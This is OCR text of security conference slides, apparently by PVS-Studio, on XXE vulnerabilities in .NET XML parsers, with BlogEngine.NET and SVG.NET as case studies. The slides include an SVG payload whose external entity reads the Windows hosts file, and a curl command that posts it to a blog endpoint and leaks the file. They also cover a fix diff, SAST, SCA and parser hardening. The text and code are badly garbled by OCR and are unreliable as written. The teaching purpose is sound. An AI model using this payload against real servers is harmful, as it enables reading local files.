if (!(xml.StartsWith("<?xml") || xml.StartsWith("<method"))) {

xml = xml.Substring(xml.IndexOf("<?xml"));

}
request.LoadXml(xml);
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I BlogEngine.NET

private void LoadXmlRequest(string xml) {

var request = |new XmlDocument() { XmlResolver = null }|;
try {
if (!(xml.StartsWith("<?xml") || xml.StartsWith("<method"))) {
xml = xml.Substring(xml.IndexOf("<?xml"));

}
request.LoadXml(xml);
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Jsvoner

void ProcessSvg()

{
=P using var svgStream = GetSvgFromUser();

var svgDoc = SvgDocument.Open<SvgDocument>(svgStream);

// SVG document processing...

SendSvgToUser(svgboc);
}
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fsvener ...

void ProcessSvg()

{

using var svgStream = GetSvgFromUser();
== var svgDoc = SvgDocument.Open<SvgDocument>(svgStream);

// SVG document processing...

SendSvgToUser(svgboc);
}
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Jsvoner

void ProcessSvg()

{

using var svgStream = GetSvgFromUser();
var svgDoc = SvgDocument.Open<SvgDocument>(svgStream);

// SVG document processing...

mmp- ScndSvgToUser(svgDoc);
}
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| svG.NET

Im) J [3 examples —
() File | E/examples

v
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| svG.NET

J [3 examplesvg X I + - J (Y resultsvg w« I + _

(i) File | E/example.svg () File | E/fresultsvg

vV Vv
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@ Resource Monitar

Eile Meonitor Help

Overview CPU  Memory Disk  Metwork

Image

PID Address

[Sngro cessingApp.exe

27844 pys-studio.com )

Send (Bfseq)
33

Receive (B..
14 238

Image PID Send (B/seq) Receive (B/sec) Total (B/seq) ™
[] slack.exe 38112 25 32 57
D svchost.exe (LocalServiceAn... 9136 ] 187 187
|:| svchost.exe (netsves -p) 4500 2 3 5
D svchost.exe (NetworkService,., 1604 289 276 5685
[] system 4 138 35 173,
L R A R - -

< >
Metwork A B 28 Kbps Netwaork 1/0 B 05t Network Utilization ()

S
Total (Bl
14

&0 Seconds (=
TCP Connections 500

o
VirtualBox Host-Only M... 100%
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Jsvoner

void ProcessSvg()

{

using var svgStream = GetSvgFromUser();
var svgDoc = SvgDocument.Open<SvgDocument>(svgStream);

// SVG document processing...

SendSvgToUser(svgbDoc);
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| svG.NET

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE svg .... >
<SVE ....>
<style type="text/css"> D J a result.svg x _|_ _
</style>
<pz1ygon e /> (i) File | E/fresult.svg Q e
<polygon .... />
<polygon .... />
<polygon .... />

<polygon># Copyright (c) 1993-2009 Microsoft Corp.
This is a sample HOSTS file used by Microsoft TCP/IP for Windows.

This file contains the mappings of IP addresses to host names. Each
entry should be kept on an individual line. The IP address should

be placed in the first column followed by the corresponding host name.
The IP address and the host name should be separated by at least one
space.

Additionally, comments (such as these) may be inserted on individual
lines or following the machine name denoted by a '#' symbol.

For example:

102.54.94.97 rhino.acme.com # source server
38.25.63.10 X.acme.com # x client host

localhost name resolution is handled within DNS itself.
127.0.0.1 localhost
N localhost

HHEHHFHFHEHHFHFHFEHEHHHFHEEHHHEHEHH

A special comment indicating that XXE attack was performed successfully.
#</polygon>
</svg> 127



| svG.NET

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE svg .... >
<SVE ....>
<style type="text/css">
</style>
<polygon .... />
<polygon .... />
<polygon .... />

<polygon .... />
<polygon># Copyright (c) 1993-2009 Microsoft Corp.

This is a sample HOSTS file used by Microsoft TCP/IP for Windows.

This file contains the mappings of IP addresses to host names. Each
entry should be kept on an individual line. The IP address should

be placed in the first column followed by the corresponding host name.
The IP address and the host name should be separated by at least one
space.

Additionally, comments (such as these) may be inserted on individual
lines or following the machine name denoted by a '#' symbol.

For example:

102.54.94.97 rhino.acme.com # source server
38.25.63.10 X.acme.com # x client host

localhost name resolution is handled within DNS itself.
127.0.0.1 localhost
N localhost

HHEHHFHFHEHHFHFHFEHEHHHFHEEHHHEHEHH

A special comment indicating that XXE attack was performed successfully.
#</polygon>
</svg> 128



| svG.NET

Im) J [3 examples —
() File | E/examples

v

129



| svG.NET

Im) ‘ [3 examplesvg X

(i) File | E/example.svg

_I_

o7

<?xml version="1.0" encoding="utf-8"?>
<IDOCTYPE polygon [
<IENTITY queryEntity
SYSTEM
"https://files.pvs-studio.com/rules/ccr.xml">
<IENTITY hostsEntity
SYSTEM
"file:///C:/Windows/System32/drivers/etc/hosts">
1>
<svg id="Layer_ 1"
data-name="Layer 1"
xmlns="http://www.w3.0rg/2000/svg"
viewBox="0 @ 1967 1933.8">
<style type="text/css">

</style>
<polygon>&queryEntity;</polygon>
<polygon>&hostsEntity;</polygon>

</svg>
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void ProcessSvg()

{

using var svgStream = GetSvgFromUser();
var svgDoc = SvgDocument.Open<SvgDocument>(svgStream);

// SVG document processing...

SendSvgToUser(svgboc);
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public static T Open<T>(Stream stream) where T : SvgDocument, new()

{

return Open<T>(stream, null);
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public static T Open<T>(Stream stream, Dictionary<string, string> entities)

where T : SvgDocument, new()

{
if (stream == null)
{
throw new ArgumentNullException("stream");
}

// Don't close the stream via a dispose: that is the client's job.
/var reader = new SvgTextReader(stream, entities)

XmlResolver = new Sngthesolver(‘\\\\\\\\55\““-~—~

J

WhitespaceHandling = WhitespaceHandling.Significant,
DtdProcessing = SvgDocument.DisableDtdProcessing ? DtdProcessing.Ignore
: DtdProcessing.Parse,

\J>

return Open<T>(reader);
}
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private static T Open<T>(XmlReader reader) where T : SvgDocument, new()

{

T svgDocument = null;

—

while (regder.Read())

{
try

{

switch (reader.NodeType)

}....

catch (Exception exc)

{

}....
¥

return svgDocument;
} 134




| svG.NET

public static T Open<T>(Stream stream, Dictionary<string, string> entities)

{

where T : SvgDocument, new()

if (stream == null)
{

throw new ArgumentNullException("stream");
}

// Don't close the stream via a dispose: that is the client's job.
var reader = new SvgTextReader(stream, entities)
{
XmlResolver = new SvgDtdResolver(),
WhitespaceHandling = WhitespaceHandling.Significant,
DtdProcessing = SvgDocument.DisableDtdProcessing ? DtdProcessing.Ignore
: DtdProcessing.Parse,
}s5

return Open<T>(reader);
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var reader = new SvgTextReader(stream, entities)
{
XmlResolver = new SvgDtdResolver(),
WhitespaceHandling = WhitespaceHandling.Significant,
DtdProcessing = SvgDocument.DisableDtdProcessing ? DtdProcessing.Ignore
: DtdProcessing.Parse,

s
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var reader = new SvgTextReader(stream, entities)

{

XmlResolver = |new SvgDtdResolver()|,
WhitespaceHandling = WhitespaceHandling.Significant,

DtdProcessing =|SvgDocument.DisableDtdProcessing ? DtdProcessing.Ignore
: DtdProcessing.Parse,

s
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var reader = new SvgTextReader(stream, entities)

{

XmlResolver = new SvgDtdResolver(),
WhitespaceHandling = WhitespaceHandling.Significant,

DtdProcessing =

s

SvgDocument.DisableDtdProcessing ? DtdProcessing.Ignore
: DtdProcessing.Parse,
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/// <summary>

/// Skip the Dtd Processing for faster loading of
/// svgs that have a DTD specified.

/// For Example Adobe Illustrator svgs.

/// </summary>

public static bool DisableDtdProcessing { get; set; }

default(bool) -> false
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var reader = new SvgTextReader(stream, entities)

{

XmlResolver = |new SvgDtdResolver()|,

WhitespaceHandling = WhitespaceHandling.Significant,

DtdProcessing = SvgDocument.DisableDtdProcessing ? DtdProcessing.Ignore
: DtdProcessing.Parse,

s
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internal class [SvgDtdResolver : XmlUrlResolver

{
/1] ...
public override object GetEntity(Uri absoluteUri,
string role,
Type ofObjectToReturn)

{
if (absoluteUri.ToString()

.IndexOf("svg",
StringComparison.InvariantCultureIgnoreCase) > -1)

{
return Assembly.GetExecutingAssembly()

.GetManifestResourceStream("Svg.Resources.svgll.dtd");

¥

else

{
return base.GetEntity(absoluteUri, role, ofObjectToReturn);

}
}

} 141
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if (absoluteUri.ToString()
.IndexOf("svg",
StringComparison.InvariantCultureIgnoreCase) > -1)
{
return Assembly.GetExecutingAssembly()
.GetManifestResourceStream("Svg.Resources.svgll.dtd");

¥

else

{
return base.GetEntity(absoluteUri, role, ofObjectToReturn);

¥
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if (absoluteUri.ToString()
.IndexOf("svg",
StringComparison.InvariantCultureIgnoreCase) > -1)

{
return Assembly.GetExecutingAssembly()

.GetManifestResourceStream("Svg.Resources.svgll.dtd");
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internal class SvgDtdResolver : XmlUrlResolver

{
/1/
public override object GetEntity(Uri absoluteUri,

string role,
Type ofObjectToReturn)

{
if (absoluteUri.ToString()

.Index0f("svg",
StringComparison.InvariantCultureIgnoreCase) > -1)
{
return Assembly.GetExecutingAssembly ()
.GetManifestResourceStream("Svg.Resources.svgll.dtd");

}

else

{
return base.GetEntity(absoluteUri, role, ofObjectToReturn);
}
}
}

144



Jsvoner

void ProcessSvg()

{

using var svgStream = GetSvgFromUser();
var svgDoc = SvgDocument.Open<SvgDocument>(svgStream);

// SVG document processing...

SendSvgToUser(svgboc);
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[Tl Showing 5 changed files with 144 additions and 8 deletions.

27
28
29
e

31
32
33
34

35
36
37

38

39

31
32
33

34
35
36
37

38
39
40
41
42
43

45
46
a7
48
49
5@
51
52
53
54
55
56
57
58

@@ -27,14 +31,29 @@ internal class SvgDtdResolver : XmlUrlResolver

/// <exception cref="T:System.Exception”>There is a runtime error (for example, an interrupted server connection). </exception>

public override object GetEntity(Uri absoluteUri, string role, Type ofObjectToReturn)

{
if (absoluteUri.ToString().IndexOf("svg”, StringComparison.InvariantCulturelgnoreCase) » -1)

if (IsSvgDtdEntity(absolutelri)}
{

return Assembly.GetExecutingAssembly().GetManifestResourceStream("Svg.Resources.svgll.dtd");

else

if (ResolveExternalResources)

{

return base.GetEntity(absoluteUri, role, ofUbjectToReturn);

return new MemoryStream();

private static bool IsSvgDtdEntity(Uri absoluteUri)
{

return _svgDtdRegex.IsMatch(absolutelUri.ToString());

/) <summary>

/// Matches any reference to svgBB.dtd or DTD SVG 8.8 (case-insensitive)

[/ </summary>

[/ <see ref="https://regexper.com/#X28%3FX3ASVGX5BO-9%5D%2BX5C. DTDR29%7CR28%IFR3ADTDX2@5VAR20%580-9%5C . R50H2B%29" />
private static readonly Regex _svgDtdRegex

= new Regex(@"(?:SVG[@-9]+\.DTD)|(?:DTD SVG [©8-9\.]+)", RegexOptions.Compiled | RegexOptions.IgnoreCase);

Split

Unified
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[Tl Showing 5 changed files with 144 additions and 8 deletions.

27
28
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e

31
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37

38
39
40
41
42
43

45
46
a7
48
49
5@
51
52
53
54
55
56
57
58

@@ -27,14 +31,29 @@ internal class SvgDtdResolver : XmlUrlResolver

/// <exception cref="T:System.Exception”>There is a runtime error (for example, an interrupted server connection). </exception>

public override object GetEntity(Uri absoluteUri, string role, Type ofObjectToReturn)

{

if (absoluteUri.ToString().IndexOf("svg”, StringComparison.InvariantCulturelgnoreCase) » -1)

if (IsSvgDtdEntity(absolutelri)}
{

return Assembly.GetExecutingAssembly().GetManifestResourceStream("Svg.Resources.svgll.dtd");

else

if (ResolveExternalResources)

{

return base.GetEntity(absoluteUri, role, ofUbjectToReturn);

return new MemoryStream();

private static bool IsSvgDtdEntity(Uri absoluteUri)
{

return _svgDtdRegex.IsMatch(absolutelUri.ToString());

/) <summary>

/// Matches any reference to svgBB.dtd or DTD SVG 8.8 (case-insensitive)

[/ </summary>

[/ <see ref="https://regexper.com/#X28%3FX3ASVGX5BO-9%5D%2BX5C. DTDR29%7CR28%IFR3ADTDX2@5VAR20%580-9%5C . R50H2B%29" />
private static readonly Regex _svgDtdRegex

= new Regex(@"(?:SVG[@-9]+\.DTD)|(?:DTD SVG [©8-9\.]+)", RegexOptions.Compiled | RegexOptions.IgnoreCase);

Split

Unified
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[Tl Showing 5 changed files with 144 additions and 8 deletions.

27
28
29
e

31
32
33
34

35
36
37

38

39

31
32
33

34
35
36
37

38
39
40
41
42
43

45
46
a7
48
49
5@
51
52
53
54
55
56
57
58

@@ -27,14 +31,29 @@ internal class SvgDtdResolver : XmlUrlResolver

/// <exception cref="T:System.Exception”>There is a runtime error (for example, an interrupted server connection). </exception>
public override object GetEntity(Uri absoluteUri, string role, Type ofObjectToReturn)
{

if (absolutelUri.ToString().IndexOf("svg", StringComparison.InvariantCulturelgnoreCase) > -1)

if (IsSvgDtdEntity(absolutelri)}

{

return Assembly.GetExecutingAssembly().GetManifestResourceStream("Svg.Resources.svgll.dtd");

else

if (ResolveExternalResources)

{

return base.GetEntity(absoluteUri, role, ofUbjectToReturn);

return new MemoryStream();

private static bool IsSvgDtdEntity(Uri absoluteUri)
{

return _svgDtdRegex.IsMatch(absolutelUri.ToString());

/) <summary>

/// Matches any reference to svgBB.dtd or DTD SVG 8.8 (case-insensitive)

[/ </summary>

[/ <see ref="https://regexper.com/#X28%3FX3ASVGX5BO-9%5D%2BX5C. DTDR29%7CR28%IFR3ADTDX2@5VAR20%580-9%5C . R50H2B%29" />
private static readonly Regex _svgDtdRegex

= new Regex(@"(?:SVG[@-9]+\.DTD)|(?:DTD SVG [©8-9\.]+)", RegexOptions.Compiled | RegexOptions.IgnoreCase);

Split

Unified
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void ProcessSvg()

{

using var svgStream = GetSvgFromUser();
var svgDoc = SvgDocument.Open<SvgDocument>(svgStream);

// SVG document processing...

SendSvgToUser(svgboc);
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<?xml version="1.0" encoding="utf-8"?>

<IDOCTYPE svg ...> Im| J [Y resultsvg X I —+ —
<svg version="1.1" () File | Efresultsvg Q e
4

<style type="text/css">

</style>

<polygon />

<polygon />

</svg>
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I XML: pedeKkTbl 6e30nacHoCT

{ Weaknesses (XML) }

= =
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{ Weaknesses (XML) J

= =
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{ XML Vulnerabilities }

{ Mpobnema } [ PeweHune J

{ Teopua J L [1paKTUKa }
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{ XML Vulnerabilities }

{ Mpobnema } [ PeweHune J

{ Teopua J L [1paKTUKa }
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XXE / XEE: 3awuTa
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| XXE / XEE: 3awuTa

* KWcnonb3oBaTb HOBble OPENMBOPKU
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| XXE / XEE: 3awuTa

// Vulnerable of safe?

XmlDocument doc = new XmlDocument();

doc.Load(xmlReader);

<= .NET Framework 4.5.1: vulnerable
> .NET Framework 4.5.1: safe
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| XXE / XEE: 3awuTa

.NET Framework 4.5.2 u Bbiwle
(B T.u. .NET Core n .NET)

JK3emMmnaapbl TMNOB .NET Framework 4.5.1 n Huxe

XmlReader

(/XmlReaderSettings) eeile Safe

XmlTextReader Vulnerable Safe

XmlDocument Vulnerable Safe
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| XXE / XEE: 3awuTa

* KWcnonb3oBaTb HOBble OPENMBOPKU

= #ABHO nponucbiBanTe 6e3onacHble HAaCTPOWUKK

= Kcnonb3ynte MHCTPYMEHTbI:
= SAST
= SCA
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Report
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I SAST (Static Application Security Testing)

* WweTt pedekTbl B Koae
= He TpebyeT noarotToBKM OKPY>KEHUS
= YacTtb Secure SDLC
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I Taint analysis

- I'Ipo6nema N3rnnuHero gosepund K BXogHbiIM AaHHbIM

= [lomoraet B noucke:
= SQL injection
= OS command injection
= XSS (cross-site scripting)
= path traversal
" NT.MN.

= CWE, OWASP, Top'bl...

\"/
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Taint analysis

using (SglConnection connection = new SglConnection( connectionString)) {

String userName = ReqUEEET?orm["userName"];

using (var command = new SgqlCommand() {
Connection = connection,

(:::jiCommandText = $"SELECT * FROM Users WHERE UserName = '" + userName + "'",
CommandType = System.Data.CommandType.Text
A

using (var reader = command.ExecuteReader())

// Data processing

167



Poexee

~
Tainted data Cnocob #1 .
Muwem TosIbKO onacHbIK napcep
AL
[XXE / XEE] <
4 Cnocob #2
Weakly configured Miiem onacHblii napcep u
XML parser AaHHble OT N0/1b30BaTENS
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Taint analysis

private static string
ParseRequest (HttpContext context)

{

var buffer = new byte[context.Request
InputStream
.Length];

context.Request.InputStream.Position = 0;
context.Request.InputStream.Read(
buffer, @, buffer.Length);

return Encoding.UTF8.GetString(buffer);

public XMLRPCRequest(HttpContext input)
{

var inputXml = ParseRequest(input);

// LogMetaWeblogCall(inputXml);
this.LoadXmlRequest(inputXml);

}

private void LoadXmlRequest(string xml)
{
var request = new XmlDocument();
try
{
if ( !'(xml.StartsWith("<?xml")
|| xml.StartsWith("<method")))

{
xml = xml.Substring(xml.IndexOf("<?xml"));

}
request.LoadXml(xml);

}

} 169
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private static string
ParseRequest (HttpContext context)
{
var buffer = new byte[context.Request
.InputStream
.Length];

context.Request.InputStream.Position = 0;
context.Request}InputStPeam.Read(
buffszj 9, 5u¥¥ér.fength);

N

return Encoding.UTF8.GetString(buffer);
A Sk L

Y

public XMLRPCRequest(HttpContext input)
{

var inputXml = ParseRequest(input);

// LogMetaWeblogCall(inputXml);
this.LoadXmlRequest(inputXml);

}

private void LoadXmlRequest(string xml)

{

(’_VEF_FEEGEEE’:—;;;—;;IBBEument();
try

{
if ( !'(xml.StartsWith("<?xml")

|| xml.StartsWith("<method")))

{

}
request.LoadXml(xml);

}

xml = xml.Substring(xml.IndexOf("<?xml"));

} 170
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void ProcessSvg()
- [
using var svgStream = GetSvgFromUser();

var svgDoc = SvgDocument.Open<SvgDocument>(svgStream);

// SVG document processing...

SendSvgToUser(svgboc);
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void ProcessSvg()

{

using var svgStream = GetSvgFromUser();
var svgDoc = SvgDocument.Open<SvgDocument>(svgStream);

// SVG document processing...

SendSvgToUser(svgboc);

?297?

\_(V)_/"
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"Dep #1.1

Project
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1Dep #1

"Dep #1.1

Project

"Dep #1.2

1Dep #2

1Dep #3

"Dep #2.1
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1Dep #3

177



1Dep #1

"Dep #1.1

Project
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I SCA (Software Composition Analysis)

= [lownck ya3BnmMocTen B KOMMOHEHTAX

= Ha ocHoBe 0aas:
= CPE (Common Platform Enumeration)
= GitHub Advisory Database

= OWASP Top-10 2021: AO6 - Vulnerable and Outdated Components

»| Dep #1.1

»| Dep #1

»| Dep #1.2

Project »| Dep #2 > Dep #2.1

> Dep #3

179



| e

Ncnonb3yute n SAST, n SCA...
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= XML-ya3BMMOCTU BOnnxe, YemM KaxyTcH
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n File  Edit View Git Project Build Debug Test Anpalyze Tools Extensions Window  Help Search (Ctrl+Q) p ol MSBuild @ =

@- @-E'z - ~ | Debug ~| Any CPU - P Start ~ [> 6' BB E:EEE E = = |& Live Share

LazyFormatted...|dEventhrgs.cs & ¢ [T LN GluT &N RequiredRuntimeAttribute.cs RequiredAttribute.cs BuildWarningEventArgs.cs CriticalBuildM...geEventArgs.cs InitializationException.cs DistributedloggerRecord.cs ~ #  Splution Explorer = ceow X

[ Microsoft.Build.Framework ) - 6}8I'\.'1icrosm‘t.BuiId.Frar'i’1em\u’0rli:.Lazg.rForr'ﬂattedBuiIdE\.i'ent.ﬂ‘rgs - 4_argurments o nﬂ'ﬂ Y@ -= U
I96 F T =7 sunnary~

147 /// <param name="reader">Binary reader which is attached to the stream the event will be deserialized from.</param> Search Solution Explorer (Ctrl+;) p-

148 /// <param name="version">The version of the runtime the message packet was created from</param= | 4 E: :Ea”ctia:!g:k'“ -
m VENRedIrector.cs

62 references

BT 149 B internal override void CreateFromStream(BinaryReader reader, version)

C# |EventSource.cs
c# |ForwardingLogger.cs

= C# |GeneratedTask.cs
i Task Manager — O x =
¥ C# |Logger.cs

saounog eje  xogoo]  Jauo|dxg saaeg

File Options View 1% Process Hacker - X

Processes  Perf U Details  Servi :
erformance  Users ails Services Hacker View Tools Users Help

“% Refresh |} Options | g8 Find handles or DLLs * |Search Processes (Ctrl+K) jo

Mame Processes  Seryices Metwork Disk

Mame PID  CPU  Private b... Description
Vlﬂwinlngun.exe 11796 243 MB  Windows Logon Application

i 'J“ Microsoft Visual Studio 2022 Preview (3) 124,621.9 MB guments: numRead+H [®] fontdrehost.exe 12008 1.96 MB Usermode Font Driver Host
(=] dwm.exe 12064 5593 ME Desktop Window Manager

dstring(); ¥ = explorer.exe 4808 43.86 ME  Windows Explorer

| v K% devenv.exe 2572 142.31GB  Microsoft Visual Studio 2022 Preview |
(55 ServiceHub.Host.CLR.x64 27.7 MB v 8] Microsoft Servi... 12396 3436 MB  Microsoft.ServiceHub. Controller

[mE] ServiceHub.Host. CLR.x86 (32 bit) 25.5MBE [m:] ServiceHub.l... 13440 3542 MB  ServiceHub.ldentityHost.exe

[#5] ServiceHub.ldentityHost.exe (32 bit) 274 MB ) [z ServiceHub.... 13956 1.0 MEB  ServiceHub.V5DetouredHost.exe
[#5 ServiceHub.SettingsHost.exe (32 bit) 7.8 ME )i (] ServiceHub.... 1406 0. 33.86 MB  ServiceHub.5ettingsHost.exe

[ ServiceHub.VSDetouredHost.exe 36.0 MEB [#:] ServiceHub.... 15288 326 MB  ServiceHub.Host.CLR.x86
CurrentCulture.LCI E] ServiceHub.... Alne D0 EA RAD  Comsimaldiib Lnek 1 D o84
!',‘,, Microsoft Visual Studio Preview 124, 404.3 MB —lr <

B T L1

SmC AL A CPU Usage: 6.67% Physical memory: 127.59 GB (99.74%) Processes: 163

| Fewer details End task P WSEId
- = P ®0 References

b BN FxCopExclusions

179 _originalCulture = new CultureInfo(originalCultureId); = %) app.config
180 C# Assemblylnfo.cs

181

182 & AssemblyMameExtension.cs

183 C# AssemblyResources.cs

184 ( S —— >

el
133% ~|&f @ Mo issues found &~ . . SPC CRLF Syntax Visuali... = Solution Expl.. | Git Changes

Apps (3) 1;

[m5] Microsoft.ServiceHub.Controller 20.4 MB
[55] PerfWatson2.exe 429 MB

nitTests

| &@* AssemblylLoadinfo.cs
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-

C# Interactive  Error List  Command Window  Output

 Addto Source Control «  4p Select Repository = L_-I
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&

D Name of the blog | Welcometo = X |

G

A

No

t secure vasiliev-pc:8081/post/welcome-t

Welcome to BlogEngine.NET

a x

B C:\Windows\System32\crmd.exe
E:\XXE>curl -d "@xxe.xml" -X POST http://vasiliev-pc:8081/metaweblog.axd
<?xml version="1.8" encoding="utf-8"?>
<methodResponse>
<fault>
<value>
<struct>
<member>
<name>faultCode</name>
<value>02</value>
</member>
<member>
<name>faultstring</name>
<value>Unknown Method. (# Copyright (c) 1993-2e@9 Microsoft Corp.

This is a sample HOSTS file used by Microsoft TCP/IP for Windows.

This file contains the mappings of IP addresses to host names. Each
entry should be kept on an individual line. The IP address should

be placed in the first column followed by the corresponding host name.
The IP address and the host name should be separated by at least one
space.

#
#
#
#
#
#
#
#
#
#

Additionally, comments (such as these) may be inserted on individual

If you see this post it means that BlogEngine.NET is running and the hard part of creating your own

blog is done. There is only a few things left to do.
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|

= XML-ya3BMMOCTHM OnNuxKe, YemM KaxXyTcs

= Kcnonb3yute HOBble BEPCUN (PPENMBOPKOB

= KoHdurypupynte napcepbl npaBUnbLHO:
= OTKMo4aunuTe obpaboTtky DTD
= QorpaHuymBamnTe pasmep CyLLHOCTeu
= OTKIHYanTe Pe3onBUHT BHELLUHUX CYLLHOCTEWN

= Kcnonb3ymnte HcTpymeHTbl: SAST, SCA U T.N.
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